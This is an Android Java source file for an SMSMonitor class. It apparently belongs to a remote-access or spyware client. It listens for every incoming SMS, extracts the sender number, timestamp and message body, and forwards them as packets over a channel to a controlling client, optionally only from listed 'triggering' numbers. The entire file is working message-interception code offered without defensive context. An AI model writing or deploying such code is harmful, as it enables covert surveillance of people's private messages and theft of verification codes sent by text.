package my.app.Library; import java.util.ArrayList; import java.util.HashSet; import utils.EncoderHelper; import my.app.activityclient.ClientListener; import Packet.SMSPacket; import Packet.ShortSMSPacket; import android.content.BroadcastReceiver; import android.content.Context; import android.content.Intent; import android.content.IntentFilter; import android.os.Bundle; import android.telephony.SmsMessage; import android.util.Log; public class SMSMonitor { ClientListener ctx; HashSet<String> phoneNumberFilter; int channel; public SMSMonitor(ClientListener c, int chan, byte[] args) { this.ctx = c; this.channel = chan; phoneNumberFilter = EncoderHelper.decodeHashSet(args); IntentFilter filter = new IntentFilter(); filter.addAction("android.provider.Telephony.SMS_RECEIVED"); //On enregistre un broadcast receiver sur la reception de SMS ctx.registerReceiver(SMSreceiver, filter); } public void stop() { ctx.unregisterReceiver(SMSreceiver); } protected BroadcastReceiver SMSreceiver = new BroadcastReceiver() { private final String SMS_RECEIVED = "android.provider.Telephony.SMS_RECEIVED"; @Override public void onReceive(Context context, Intent intent) { if(intent.getAction().equals(SMS_RECEIVED)) { //On vérifie que c'est bien un event de SMS_RECEIVED même si c'est obligatoirement le cas. Log.i("SMSReceived", "onReceive sms !"); Bundle bundle = intent.getExtras(); if (bundle != null) { Object[] pdus = (Object[]) bundle.get("pdus"); final SmsMessage[] messages = new SmsMessage[pdus.length]; for (int i = 0; i < pdus.length; i++) { messages[i] = SmsMessage.createFromPdu((byte[]) pdus[i]); } if (messages.length > -1) { String messageBody = messages[0].getMessageBody(); String phoneNumber = messages[0].getDisplayOriginatingAddress(); long date = messages[0].getTimestampMillis(); if(phoneNumberFilter == null) { ShortSMSPacket sms = new ShortSMSPacket(phoneNumber, date, messageBody); ctx.handleData(channel, sms.build()); } else { if (phoneNumberFilter.contains(phoneNumber)) { Log.i("SMSReceived", "Message accepted as triggering message !"); ShortSMSPacket sms = new ShortSMSPacket(phoneNumber, date, messageBody); ctx.handleData(channel, sms.build()); } } } } } } }; }